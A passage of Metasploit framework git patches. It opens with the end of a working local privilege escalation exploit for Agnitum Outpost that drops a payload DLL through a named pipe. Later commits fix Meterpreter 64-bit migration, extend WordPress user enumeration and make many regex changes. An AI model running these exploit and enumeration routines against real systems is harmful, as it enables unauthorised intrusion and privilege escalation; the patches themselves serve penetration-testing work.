"\x00\x00\x00" + + buf = [0xd48a445e, 0x466e1597, 0x327416ba, 0x68ccde15].pack("V*") # GUID common_handler + buf << [0x17].pack("V") # command + buf << [junk].pack("V") + buf << [data.length].pack("V") + buf << [0, 0, 0].pack("V*") + buf << data + + w = client.railgun.kernel32.WriteFile(handle, buf, buf.length, 4, nil) + + if w['return'] == false + print_error("The was an error writing to disk, check permissions") + return nil + end + + return w['lpNumberOfBytesWritten'] + end + + + def check + handle = open_named_pipe("\\\\.\\pipe\\acsipc_server") + if handle.nil? + return Exploit::CheckCode::Safe + end + session.railgun.kernel32.CloseHandle(handle) + return Exploit::CheckCode::Detected + end + + def exploit + + temp_dir = "" + + print_status("Opening named pipe...") + handle = open_named_pipe("\\\\.\\pipe\\acsipc_server") + if handle.nil? + fail_with(Failure::NoTarget, "\\\\.\\pipe\\acsipc_server named pipe not found") + else + print_good("\\\\.\\pipe\\acsipc_server found! Proceeding...") + end + + if datastore["WritableDir"] and not datastore["WritableDir"].empty? + temp_dir = datastore["WritableDir"] + else + temp_dir = expand_path("%TEMP%") + end + + print_status("Using #{temp_dir} to drop malicious DLL...") + begin + cd(temp_dir) + rescue Rex::Post::Meterpreter::RequestError + session.railgun.kernel32.CloseHandle(handle) + fail_with(Failure::Config, "Failed to use the #{temp_dir} directory") + end + + print_status("Writing malicious DLL to remote filesystem") + write_path = pwd + dll_name = "#{rand_text_alpha(10 + rand(10))}.dll" + begin + # Agnitum Outpost Internet Security doesn't complain when dropping the dll to filesystem + write_file(dll_name, generate_payload_dll) + register_file_for_cleanup("#{write_path}\\#{dll_name}") + rescue Rex::Post::Meterpreter::RequestError + session.railgun.kernel32.CloseHandle(handle) + fail_with(Failure::Config, "Failed to drop payload into #{temp_dir}") + end + + print_status("Exploiting through \\\\.\\pipe\\acsipc_server...") + bytes = write_named_pipe(handle, write_path, dll_name) + session.railgun.kernel32.CloseHandle(handle) + + if bytes.nil? + fail_with(Failure::Unknown, "Failed while writing to \\\\.\\pipe\\acsipc_server") + end + + end + +end From 763b111c9b2dfdb61ab7ae27ae2e3f1b77d066ba Mon Sep 17 00:00:00 2001 From: Till Maas Date: Wed, 11 Sep 2013 11:23:26 +0200 Subject: [PATCH 125/160] cmd_db_connect: Expand path to database config Do not only check whether the expanded path for the database config file exists, but also use it. --- lib/msf/ui/console/command_dispatcher/db.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb index b69bf8a75f..c5011eff91 100644 --- a/lib/msf/ui/console/command_dispatcher/db.rb +++ b/lib/msf/ui/console/command_dispatcher/db.rb @@ -1546,7 +1546,8 @@ class Db return end file = args[1] || ::File.join(Msf::Config.get_config_root, "database.yml") - if (::File.exists? ::File.expand_path(file)) + file = ::File.expand_path(file) + if (::File.exists? file) db = YAML.load(::File.read(file))['production'] framework.db.connect(db) From 9ad1be7318230d2e9c4495f6389678732551b387 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 11 Sep 2013 09:33:01 -0500 Subject: [PATCH 126/160] Make junk easier --- modules/exploits/windows/local/agnitum_outpost_acs.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/local/agnitum_outpost_acs.rb b/modules/exploits/windows/local/agnitum_outpost_acs.rb index 1d5a0df630..8847005754 100644 --- a/modules/exploits/windows/local/agnitum_outpost_acs.rb +++ b/modules/exploits/windows/local/agnitum_outpost_acs.rb @@ -70,8 +70,8 @@ class Metasploit3 < Msf::Exploit::Local end - def junk(n=4) - return rand_text_alpha(n).unpack("V").first + def junk + return rand_text_alpha(4).unpack("V").first end def open_named_pipe(pipe) From 34e5f69fbf6e69ce1f1c5412362942816a184c0b Mon Sep 17 00:00:00 2001 From: David Maloney Date: Thu, 12 Sep 2013 13:56:08 -0500 Subject: [PATCH 127/160] fix merge conflict --- lib/msf/util/exe.rb | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index a6cce6bb1b..457806732a 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -56,6 +56,17 @@ require 'msf/core/exe/segment_injector' end end + def self.read_replace_script_template(filename, hash_sub) + template_pathname = File.join(Msf::Config.install_root, "data", "templates", "scripts", filename) + + template = '' + File.open(template_pathname, "rb") do |f| + template = f.read + end + + return template % hash_sub + end + ## # From 8db66aeb982cae2c8579ee0c5a0bc99b26a08821 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 12 Sep 2013 14:16:34 -0500 Subject: [PATCH 128/160] Yes, clearly it is. --- modules/exploits/linux/local/sophos_wpa_clear_keys.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/local/sophos_wpa_clear_keys.rb b/modules/exploits/linux/local/sophos_wpa_clear_keys.rb index 0c36cd81e6..65a263a69c 100644 --- a/modules/exploits/linux/local/sophos_wpa_clear_keys.rb +++ b/modules/exploits/linux/local/sophos_wpa_clear_keys.rb @@ -22,7 +22,7 @@ class Metasploit4 < Msf::Exploit::Local def initialize(info={}) super( update_info( info, { - 'Name' => 'Sophos Web Protection Appliance clear_keys.pl Local Privilege Escalation Exploit', + 'Name' => 'Sophos Web Protection Appliance clear_keys.pl Local Privilege Escalation', 'Description' => %q{ This module abuses a command injection on the clear_keys.pl perl script, installed with the Sophos Web Protection Appliance, to escalate privileges from the "superman" user to "root". From b7dec23a1d2fa5e12f4da56bf99a500f2c5c68a2 Mon Sep 17 00:00:00 2001 From: MosDefAssassin Date: Thu, 12 Sep 2013 14:32:13 -0500 Subject: [PATCH 129/160] Update meterpreter.rb MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Meterpreter Error: Uninitialized Constant Error Prevents a 32bit Meterpreter session from migrating to a 64bit process. Discovered: September 9th 2013 Fixed: September 11th 2013 By MosDefAssassin Contact:ara1212@gmail.com Tested on Windows 2008 R2 SP1 Running as a Domain Controller Issue: An issue has been discovered when you have created a simple 32bit windows/meterpreter/reverse_tcp payload and have launched the payload on the victim to obtain a remote meterpreter session. While in this session you attempt to migrate your 32bit process over to a 64bit process in order to take advantage of tools like hashdump or mimikatz or obtain system level access under a 64bit process that runs as system such as dns.exe. However when you attempt to migrate to a 64bit process you receive the following error: Error running command migrate: NameError uninitialized constant Msf::Payload::Windows::ReflectiveDllInject_x64 Cause and Resolution: This issue occurs because the meterpreter.rb file that is being called from within “/opt/metasploit/apps/pro/msf3/modules/payloads/stages/windows/” folder does not contain the following classes: require 'msf/core/payload/windows/x64/reflectivedllinject' require 'msf/base/sessions/meterpreter_x64_win' Once you add these two classes to the meterpreter.rb file, you will be able to migrate to 64bit processes from a basic msfpayload generated 32bit meterpreter payload. --- modules/payloads/stages/windows/meterpreter.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/modules/payloads/stages/windows/meterpreter.rb b/modules/payloads/stages/windows/meterpreter.rb index 868395516f..550378c7ad 100644 --- a/modules/payloads/stages/windows/meterpreter.rb +++ b/modules/payloads/stages/windows/meterpreter.rb @@ -8,7 +8,9 @@ require 'msf/core' require 'msf/core/payload/windows/reflectivedllinject' +require 'msf/core/payload/windows/x64/reflectivedllinject' require 'msf/base/sessions/meterpreter_x86_win' +require 'msf/base/sessions/meterpreter_x64_win' require 'msf/base/sessions/meterpreter_options' ### From 149312a4c0f190fe3c57632fccfde1b635fd532d Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 12 Sep 2013 14:56:46 -0500 Subject: [PATCH 130/160] Correct wordpress_login_enum for #2301 tabassassin created a mess and I failed to resolve it properly. Attempt #2. See #2301. --- modules/auxiliary/scanner/http/wordpress_login_enum.rb | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/wordpress_login_enum.rb b/modules/auxiliary/scanner/http/wordpress_login_enum.rb index db283d27fb..7b2fb501d7 100644 --- a/modules/auxiliary/scanner/http/wordpress_login_enum.rb +++ b/modules/auxiliary/scanner/http/wordpress_login_enum.rb @@ -218,6 +218,12 @@ class Metasploit3 < Msf::Auxiliary if (res and res.code == 301) uri = URI(res.headers['Location']) + if uri.path =~ /\/author\/([[:print:]]+)\// + username = $1 + print_good "#{uri.path} - Found user '#{username}' with id #{i.to_s}" + usernames << username + next + end uri = "#{uri.path}?#{uri.query}" res = send_request_cgi({ 'method' => 'GET', @@ -245,5 +251,4 @@ class Metasploit3 < Msf::Auxiliary return usernames end - -end +end \ No newline at end of file From 14577441ca196616ac002d53faf494f0768a138d Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Thu, 12 Sep 2013 16:10:48 -0500 Subject: [PATCH 131/160] Deprecates windows persistence post module. --- modules/post/windows/manage/persistence.rb | 3 +++ 1 file changed, 3 insertions(+) diff --git a/modules/post/windows/manage/persistence.rb b/modules/post/windows/manage/persistence.rb index c800efe776..f2e7c6d5e9 100644 --- a/modules/post/windows/manage/persistence.rb +++ b/modules/post/windows/manage/persistence.rb @@ -14,6 +14,9 @@ require 'msf/core/post/windows/registry' require 'msf/core/post/windows/services' class Metasploit3 < Msf::Post + require 'msf/core/module/deprecated' + include Msf::Module::Deprecated + deprecated Date.new(2013, 11, 12), '/exploit/windows/local/persistence' include Msf::Post::Common include Msf::Post::File From 84f015320af04f50b6939e62b3b7dfab401bc487 Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Thu, 12 Sep 2013 16:16:49 -0500 Subject: [PATCH 132/160] Probably helps to use the right alternate exploit name. --- modules/post/windows/manage/persistence.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/manage/persistence.rb b/modules/post/windows/manage/persistence.rb index f2e7c6d5e9..caf62c9452 100644 --- a/modules/post/windows/manage/persistence.rb +++ b/modules/post/windows/manage/persistence.rb @@ -16,7 +16,7 @@ require 'msf/core/post/windows/services' class Metasploit3 < Msf::Post require 'msf/core/module/deprecated' include Msf::Module::Deprecated - deprecated Date.new(2013, 11, 12), '/exploit/windows/local/persistence' + deprecated Date.new(2013, 11, 12), 'exploit/windows/local/persistence' include Msf::Post::Common include Msf::Post::File From 72dff034265c2ac1cea71ba84dcc3b49d5bcd552 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Thu, 12 Sep 2013 16:58:49 -0500 Subject: [PATCH 133/160] FixRM #8396 change all lib use of regex to 8-bit pattern --- lib/metasm/metasm/disassemble_api.rb | 4 +-- lib/metasm/metasm/gui/dasm_hex.rb | 4 +-- lib/msf/core/auxiliary/nmap.rb | 12 +++---- lib/msf/core/db.rb | 32 +++++++++---------- lib/msf/core/db_export.rb | 8 ++--- lib/msf/core/exploit/arkeia.rb | 6 ++-- lib/msf/core/exploit/http/client.rb | 4 +-- lib/msf/core/exploit/mysql.rb | 6 ++-- lib/msf/core/exploit/realport.rb | 4 +-- lib/msf/core/exploit/smb.rb | 6 ++-- lib/msf/core/payload.rb | 6 ++-- lib/rbmysql.rb | 2 +- lib/rbmysql/compat.rb | 2 +- lib/rbreadline.rb | 4 +-- lib/rex/parser/burp_session_nokogiri.rb | 2 +- lib/rex/parser/mbsa_nokogiri.rb | 2 +- lib/rex/peparsey/pebase.rb | 4 +-- lib/rex/peparsey/section.rb | 2 +- .../extensions/stdapi/sys/registry.rb | 2 +- lib/rex/proto/drda/utils.rb | 2 +- lib/rex/proto/http/client.rb | 2 +- lib/rex/proto/smb/client.rb | 12 +++---- lib/rex/text.rb | 8 ++--- lib/rex/ui/text/input/socket.rb | 4 +-- lib/rkelly/visitors/evaluation_visitor.rb | 2 +- 25 files changed, 71 insertions(+), 71 deletions(-) diff --git a/lib/metasm/metasm/disassemble_api.rb b/lib/metasm/metasm/disassemble_api.rb index 01713e0b7e..aeef221eb2 100644 --- a/lib/metasm/metasm/disassemble_api.rb +++ b/lib/metasm/metasm/disassemble_api.rb @@ -776,10 +776,10 @@ class Disassembler def strings_scan(minlen=6) ret = [] nexto = 0 - pattern_scan(/[\x20-\x7e]{#{minlen},}/m, nil, 1024) { |o| + pattern_scan(/[\x20-\x7e]{#{minlen},}/nm, nil, 1024) { |o| if o - nexto > 0 next unless e = get_edata_at(o) - str = e.data[e.ptr, 1024][/[\x20-\x7e]{#{minlen},}/m] + str = e.data[e.ptr, 1024][/[\x20-\x7e]{#{minlen},}/nm] ret << [o, str] if not block_given? or yield(o, str) nexto = o + str.length end diff --git a/lib/metasm/metasm/gui/dasm_hex.rb b/lib/metasm/metasm/gui/dasm_hex.rb index 40440dc046..3005edcf04 100644 --- a/lib/metasm/metasm/gui/dasm_hex.rb +++ b/lib/metasm/metasm/gui/dasm_hex.rb @@ -231,7 +231,7 @@ class HexWidget < DrawableWidget end if @show_ascii and d x = xa + d_o*@font_width - d = d.gsub(/[^\x20-\x7e]/, '.') + d = d.gsub(/[^\x20-\x7e]/n, '.') if wp.empty? render[d, :ascii] else @@ -393,7 +393,7 @@ class HexWidget < DrawableWidget # pop a dialog, scans the sections for a hex pattern def prompt_search_hex inputbox('hex pattern to search (hex regexp, use .. for wildcard)') { |pat| - pat = pat.gsub(' ', '').gsub('..', '.').gsub(/[0-9a-f][0-9a-f]/i) { |o| "\\x#{o}" } + pat = pat.gsub(' ', '').gsub('..', '.').gsub(/[0-9a-f][0-9a-f]/ni) { |o| "\\x#{o}" } pat = Regexp.new(pat, Regexp::MULTILINE, 'n') # 'n' = force ascii-8bit list = [['addr']] + @dasm.pattern_scan(pat).map { |a| [Expression[a]] } listwindow("hex search #{pat}", list) { |i| focus_addr i[0] } diff --git a/lib/msf/core/auxiliary/nmap.rb b/lib/msf/core/auxiliary/nmap.rb index 4c3cdfc6b2..8d60cd9a12 100644 --- a/lib/msf/core/auxiliary/nmap.rb +++ b/lib/msf/core/auxiliary/nmap.rb @@ -59,7 +59,7 @@ def get_nmap_ver nmap_cmd = [self.nmap_bin] nmap_cmd << "--version" res << %x{#{nmap_cmd.join(" ")}} rescue nil - res.gsub(/[\x0d\x0a]/,"") + res.gsub(/[\x0d\x0a]/n,"") end # Takes a version string in the form of Major.Minor and compares to @@ -68,16 +68,16 @@ end # Comparing an Integer is okay, though. def nmap_version_at_least?(test_ver=nil) raise ArgumentError, "Cannot compare a Float, use a String or Integer" if test_ver.kind_of? Float - unless test_ver.to_s[/^([0-9]+(\x2e[0-9]+)?)/] + unless test_ver.to_s[/^([0-9]+(\x2e[0-9]+)?)/n] raise ArgumentError, "Bad Nmap comparison version: #{test_ver.inspect}" end test_ver_str = test_ver.to_s - tnum_arr = $1.split(/\x2e/)[0,2].map {|x| x.to_i} + tnum_arr = $1.split(/\x2e/n)[0,2].map {|x| x.to_i} installed_ver = get_nmap_ver() vtag = installed_ver.split[2] # Should be ["Nmap", "version", "X.YZTAG", "(", "http..", ")"] return false if (vtag.nil? || vtag.empty?) - return false unless (vtag =~ /^([0-9]+\x2e[0-9]+)/) # Drop the tag. - inum_arr = $1.split(/\x2e/)[0,2].map {|x| x.to_i} + return false unless (vtag =~ /^([0-9]+\x2e[0-9]+)/n) # Drop the tag. + inum_arr = $1.split(/\x2e/n)[0,2].map {|x| x.to_i} return true if inum_arr[0] > tnum_arr[0] return false if inum_arr[0] < tnum_arr[0] inum_arr[1].to_i >= tnum_arr[1].to_i @@ -228,7 +228,7 @@ def nmap_validate_arg(str) return false end # Check for commas outside of quoted arguments - quoted_22 = /\x22[^\x22]*\x22/ + quoted_22 = /\x22[^\x22]*\x22/n requoted_str = str.gsub(/'/,"\"") if requoted_str.split(quoted_22).join[/,/] print_error "Malformed nmap arguments (unquoted comma): #{str}" diff --git a/lib/msf/core/db.rb b/lib/msf/core/db.rb index a7844d6158..bce0235d93 100644 --- a/lib/msf/core/db.rb +++ b/lib/msf/core/db.rb @@ -358,7 +358,7 @@ class DBManager opts.each { |k,v| if (host.attribute_names.include?(k.to_s)) unless host.attribute_locked?(k.to_s) - host[k] = v.to_s.gsub(/[\x00-\x1f]/, '') + host[k] = v.to_s.gsub(/[\x00-\x1f]/n, '') end else dlog("Unknown attribute for ::Mdm::Host: #{k}") @@ -481,7 +481,7 @@ class DBManager if (host.attribute_names.include?(k.to_s)) unless host.attribute_locked?(k.to_s) - host[k] = v.to_s.gsub(/[\x00-\x1f]/, '') + host[k] = v.to_s.gsub(/[\x00-\x1f]/n, '') end else dlog("Unknown attribute for Host: #{k}") @@ -1536,12 +1536,12 @@ class DBManager if (token[0]) # convert the token to US-ASCII from UTF-8 to prevent an error token[0] = token[0].unpack("C*").pack("C*") - token[0] = token[0].gsub(/[\x00-\x1f\x7f-\xff]/){|m| "\\x%.2x" % m.unpack("C")[0] } + token[0] = token[0].gsub(/[\x00-\x1f\x7f-\xff]/n){|m| "\\x%.2x" % m.unpack("C")[0] } end if (token[1]) token[1] = token[1].unpack("C*").pack("C*") - token[1] = token[1].gsub(/[\x00-\x1f\x7f-\xff]/){|m| "\\x%.2x" % m.unpack("C")[0] } + token[1] = token[1].gsub(/[\x00-\x1f\x7f-\xff]/n){|m| "\\x%.2x" % m.unpack("C")[0] } end ret = {} @@ -2853,7 +2853,7 @@ class DBManager return REXML::Document.new(data) rescue REXML::ParseException => e dlog("REXML error: Badly formatted XML, attempting to recover. Error was: #{e.inspect}") - return REXML::Document.new(data.gsub(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xff])/){ |x| "\\x%.2x" % x.unpack("C*")[0] }) + return REXML::Document.new(data.gsub(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xff])/n){ |x| "\\x%.2x" % x.unpack("C*")[0] }) end end end @@ -3055,7 +3055,7 @@ class DBManager @import_filedata[:type] = "Appscan" return :appscan_xml when "entities" - if line =~ /creator.*\x43\x4f\x52\x45\x20\x49\x4d\x50\x41\x43\x54/i + if line =~ /creator.*\x43\x4f\x52\x45\x20\x49\x4d\x50\x41\x43\x54/ni @import_filedata[:type] = "CI" return :ci_xml end @@ -3342,8 +3342,8 @@ class DBManager def inspect_single_packet_http(pkt,wspace,task=nil) # First, check the server side (data from port 80). if pkt.is_tcp? and pkt.tcp_src == 80 and !pkt.payload.nil? and !pkt.payload.empty? - if pkt.payload =~ /^HTTP\x2f1\x2e[01]/ - http_server_match = pkt.payload.match(/\nServer:\s+([^\r\n]+)[\r\n]/) + if pkt.payload =~ /^HTTP\x2f1\x2e[01]/n + http_server_match = pkt.payload.match(/\nServer:\s+([^\r\n]+)[\r\n]/n) if http_server_match.kind_of?(MatchData) and http_server_match[1] report_service( :workspace => wspace, @@ -3363,8 +3363,8 @@ class DBManager # Next, check the client side (data to port 80) if pkt.is_tcp? and pkt.tcp_dst == 80 and !pkt.payload.nil? and !pkt.payload.empty? - if pkt.payload.match(/[\x00-\x20]HTTP\x2f1\x2e[10]/) - auth_match = pkt.payload.match(/\nAuthorization:\s+Basic\s+([A-Za-z0-9=\x2b]+)/) + if pkt.payload.match(/[\x00-\x20]HTTP\x2f1\x2e[10]/n) + auth_match = pkt.payload.match(/\nAuthorization:\s+Basic\s+([A-Za-z0-9=\x2b]+)/n) if auth_match.kind_of?(MatchData) and auth_match[1] b64_cred = auth_match[1] else @@ -3476,7 +3476,7 @@ class DBManager data.each_line do |line| case line when /^[\s]*#/ # Comment lines - if line[/^#[\s]*([0-9.]+):([0-9]+)(\x2f(tcp|udp))?[\s]*(\x28([^\x29]*)\x29)?/] + if line[/^#[\s]*([0-9.]+):([0-9]+)(\x2f(tcp|udp))?[\s]*(\x28([^\x29]*)\x29)?/n] addr = $1 port = $2 proto = $4 @@ -3492,7 +3492,7 @@ class DBManager user = ([nil, ""].include?($1)) ? "" : $1 pass = "" ptype = "smb_hash" - when /^[\s]*([\x21-\x7f]+)[\s]+([\x21-\x7f]+)?/ # Must be a user pass + when /^[\s]*([\x21-\x7f]+)[\s]+([\x21-\x7f]+)?/n # Must be a user pass user = ([nil, ""].include?($1)) ? "" : dehex($1) pass = ([nil, ""].include?($2)) ? "" : dehex($2) ptype = "password" @@ -3531,7 +3531,7 @@ class DBManager # If hex notation is present, turn them into a character. def dehex(str) - hexen = str.scan(/\x5cx[0-9a-fA-F]{2}/) + hexen = str.scan(/\x5cx[0-9a-fA-F]{2}/n) hexen.each { |h| str.gsub!(h,h[2,2].to_i(16).chr) } @@ -5039,7 +5039,7 @@ class DBManager next if r[0] != 'results' next if r[4] != "12053" data = r[6] - addr,hname = data.match(/([0-9\x2e]+) resolves as (.+)\x2e\\n/)[1,2] + addr,hname = data.match(/([0-9\x2e]+) resolves as (.+)\x2e\\n/n)[1,2] addr_map[hname] = addr end @@ -5160,7 +5160,7 @@ class DBManager # HostName host.elements.each('ReportItem') do |item| next unless item.elements['pluginID'].text == "12053" - addr = item.elements['data'].text.match(/([0-9\x2e]+) resolves as/)[1] + addr = item.elements['data'].text.match(/([0-9\x2e]+) resolves as/n)[1] hname = host.elements['HostName'].text end addr ||= host.elements['HostName'].text @@ -5855,7 +5855,7 @@ class DBManager data.each_line do |line| next if line =~ /^#/ - next if line !~ /^Protocol on ([^:]+):([^\x5c\x2f]+)[\x5c\x2f](tcp|udp) matches (.*)$/ + next if line !~ /^Protocol on ([^:]+):([^\x5c\x2f]+)[\x5c\x2f](tcp|udp) matches (.*)$/n addr = $1 next if bl.include? addr port = $2.to_i diff --git a/lib/msf/core/db_export.rb b/lib/msf/core/db_export.rb index d7c3277ff3..ad79e6a02b 100644 --- a/lib/msf/core/db_export.rb +++ b/lib/msf/core/db_export.rb @@ -20,7 +20,7 @@ class Export end def myusername - @username ||= (ENV['LOGNAME'] || ENV['USERNAME'] || ENV['USER'] || "unknown").to_s.strip.gsub(/[^A-Za-z0-9\x20]/,"_") + @username ||= (ENV['LOGNAME'] || ENV['USERNAME'] || ENV['USER'] || "unknown").to_s.strip.gsub(/[^A-Za-z0-9\x20]/n,"_") end # Hosts are always allowed. This is really just a stub. @@ -115,7 +115,7 @@ class Export user = (c.user.nil? || c.user.empty?) ? "" : c.user pass = (c.pass.nil? || c.pass.empty?) ? "" : c.pass if pass != "" - pass = (c.pass.upcase =~ /^[\x20-\x7e]*:[A-F0-9]{48}:[A-F0-9]{50,}/m) ? c.pass : "" + pass = (c.pass.upcase =~ /^[\x20-\x7e]*:[A-F0-9]{48}:[A-F0-9]{50,}/nm) ? c.pass : "" end if pass == "" # Basically this is an error (maybe around [\x20-\x7e] in regex) above @@ -206,7 +206,7 @@ class Export report_file.write %Q|\n| report_file.write %Q|\n| - report_file.write %Q|\n| + report_file.write %Q|\n| yield(:status, "start", "hosts") if block_given? report_file.write %Q|\n| @@ -352,7 +352,7 @@ class Export if value data = marshalize(value) data.force_encoding(Encoding::BINARY) if data.respond_to?('force_encoding') - data.gsub!(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xFF])/){ |x| "\\x%.2x" % x.unpack("C*")[0] } + data.gsub!(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xFF])/n){ |x| "\\x%.2x" % x.unpack("C*")[0] } el << REXML::Text.new(data) end return el diff --git a/lib/msf/core/exploit/arkeia.rb b/lib/msf/core/exploit/arkeia.rb index 655ae0eff5..847cd4a065 100644 --- a/lib/msf/core/exploit/arkeia.rb +++ b/lib/msf/core/exploit/arkeia.rb @@ -135,11 +135,11 @@ module Exploit::Remote::Arkeia end # Store the version information - mver = resp.match(/IVERSION\x00([^\x00]+)/) + mver = resp.match(/IVERSION\x00([^\x00]+)/n) info['Version'] = mver[1] if mver # Store the hostname information - mver = resp.match(/ISERVNAME\x00([^\x00]+)/) + mver = resp.match(/ISERVNAME\x00([^\x00]+)/n) info['Hostname'] = mver[1] if mver # Begin the ARKADMIN_GET_MACHINE_INFO request @@ -182,7 +182,7 @@ module Exploit::Remote::Arkeia # Finally, parse out and store all the parameters resp.split("TPVALUE\x00").each { |x| - minf = x.match(/^([^\x00]+)\x00PNAME\x00([^\x00]+)/) + minf = x.match(/^([^\x00]+)\x00PNAME\x00([^\x00]+)/n) if (minf) info[ minf[2] ] = minf[1] end diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb index 215de052f3..7ff5c5a5cd 100644 --- a/lib/msf/core/exploit/http/client.rb +++ b/lib/msf/core/exploit/http/client.rb @@ -463,8 +463,8 @@ module Exploit::Remote::HttpClient end if datastore['RPORT'].to_i == 3790 - if res.code == 302 and res.headers and res.headers['Location'] =~ /[\x5c\x2f](login|setup)$/ - if res['Server'] =~ /^(thin.*No Hup)|(nginx[\x5c\x2f][\d\.]+)$/ + if res.code == 302 and res.headers and res.headers['Location'] =~ /[\x5c\x2f](login|setup)$/n + if res['Server'] =~ /^(thin.*No Hup)|(nginx[\x5c\x2f][\d\.]+)$/n extras << "Metasploit" end end diff --git a/lib/msf/core/exploit/mysql.rb b/lib/msf/core/exploit/mysql.rb index d3d275fbd5..82a07f6619 100644 --- a/lib/msf/core/exploit/mysql.rb +++ b/lib/msf/core/exploit/mysql.rb @@ -110,9 +110,9 @@ module Exploit::Remote::MYSQL end if plugin_res.respond_to? :split - target_path = plugin_res.split(/[\x5c\x2f]+/).join("/") << "/" + target_path = plugin_res.split(/[\x5c\x2f]+/n).join("/") << "/" elsif base_res.respond_to? :split - target_path = base_res.split(/[\x5c\x2f]+/).join("/") << "/bin/" + target_path = base_res.split(/[\x5c\x2f]+/n).join("/") << "/bin/" else print_error "Cannot determine the plugin directory." return false @@ -123,7 +123,7 @@ module Exploit::Remote::MYSQL print_status "Checking for temp directory..." res = mysql_get_variable("@@tmpdir") if res.respond_to? :split - target_path = res.split(/[\x5c\x2f]+/).join("/") << "/" + target_path = res.split(/[\x5c\x2f]+/n).join("/") << "/" else print_error "Cannot determine the temp directory, exiting." return false diff --git a/lib/msf/core/exploit/realport.rb b/lib/msf/core/exploit/realport.rb index f90184f5cb..bf7c092fe9 100644 --- a/lib/msf/core/exploit/realport.rb +++ b/lib/msf/core/exploit/realport.rb @@ -195,7 +195,7 @@ module Exploit::Remote::RealPort # Send negotiate request sock.put(pkt2) res = sock.get_once(-1, 5) - if res.to_s =~ /^\xff/ + if res.to_s =~ /^\xff/n vprint_status("#{target_host}:#{rport} Port:#{port} is closed: #{res.inspect}") return :closed end @@ -221,7 +221,7 @@ module Exploit::Remote::RealPort sock.put(pkt3) res = sock.get_once(-1, 5) - if res.to_s =~ /^\xff/ + if res.to_s =~ /^\xff/n vprint_status("#{target_host}:#{rport} Port:#{port} is closed: #{res.inspect}") return :closed end diff --git a/lib/msf/core/exploit/smb.rb b/lib/msf/core/exploit/smb.rb index 0a3373cbba..4eddb125d6 100644 --- a/lib/msf/core/exploit/smb.rb +++ b/lib/msf/core/exploit/smb.rb @@ -645,7 +645,7 @@ module Exploit::Remote::SMB buff << " FP: #{line}\n" end - prov.split(/\x00\x00+/).each do |line| + prov.split(/\x00\x00+/n).each do |line| line.gsub!("\x00",'') line.strip! next if line.length < 6 @@ -755,8 +755,8 @@ module Exploit::Remote::SMBServer if (pkt_nbs.v['Type'] == 0x81) # Accept any name they happen to send - host_dst = UTILS.nbname_decode(pkt_nbs.v['Payload'][1,32]).gsub(/[\x00\x20]+$/, '') - host_src = UTILS.nbname_decode(pkt_nbs.v['Payload'][35,32]).gsub(/[\x00\x20]+$/, '') + host_dst = UTILS.nbname_decode(pkt_nbs.v['Payload'][1,32]).gsub(/[\x00\x20]+$/n, '') + host_src = UTILS.nbname_decode(pkt_nbs.v['Payload'][35,32]).gsub(/[\x00\x20]+$/n, '') smb[:nbdst] = host_dst smb[:nbsrc] = host_src diff --git a/lib/msf/core/payload.rb b/lib/msf/core/payload.rb index 47a81884c6..f3e981db47 100644 --- a/lib/msf/core/payload.rb +++ b/lib/msf/core/payload.rb @@ -336,9 +336,9 @@ class Payload < Msf::Module # Check to see if the value is a hex string. If so, convert # it. if val.kind_of?(String) - if val =~ /^\\x/ - val = [ val.gsub(/\\x/, '') ].pack("H*").unpack(pack)[0] - elsif val =~ /^0x/ + if val =~ /^\\x/n + val = [ val.gsub(/\\x/n, '') ].pack("H*").unpack(pack)[0] + elsif val =~ /^0x/n val = val.hex end end diff --git a/lib/rbmysql.rb b/lib/rbmysql.rb index 68f2fbdf69..705a5ecd97 100644 --- a/lib/rbmysql.rb +++ b/lib/rbmysql.rb @@ -280,7 +280,7 @@ class RbMysql # In Ruby 1.8, this is not safe for multibyte charset such as 'SJIS'. # You should use place-holder in prepared-statement. def escape_string(str) - str.gsub(/[\0\n\r\\\'\"\x1a]/) do |s| + str.gsub(/[\0\n\r\\\'\"\x1a]/n) do |s| case s when "\0" then "\\0" when "\n" then "\\n" diff --git a/lib/rbmysql/compat.rb b/lib/rbmysql/compat.rb index 3df7441201..949fbb3524 100644 --- a/lib/rbmysql/compat.rb +++ b/lib/rbmysql/compat.rb @@ -32,7 +32,7 @@ class RbMysql alias get_client_info client_info def escape_string(str) - str.gsub(/[\0\n\r\\\'\"\x1a]/) do |s| + str.gsub(/[\0\n\r\\\'\"\x1a]/n) do |s| case s when "\0" then "\\0" when "\n" then "\\n" diff --git a/lib/rbreadline.rb b/lib/rbreadline.rb index a7006d25c3..26e77915fb 100644 --- a/lib/rbreadline.rb +++ b/lib/rbreadline.rb @@ -5272,7 +5272,7 @@ module RbReadline # Actually update the display, period. def rl_forced_update_display() if (@visible_line) - @visible_line.gsub!(/[^\x00]/,0.chr) + @visible_line.gsub!(/[^\x00]/n,0.chr) end rl_on_new_line() @forced_display=true if !@forced_display @@ -8520,7 +8520,7 @@ module RbReadline count -= 1 end - str = (flags == MB_FIND_NONZERO) ? string.sub(/\x00+$/,'') : string + str = (flags == MB_FIND_NONZERO) ? string.sub(/\x00+$/n,'') 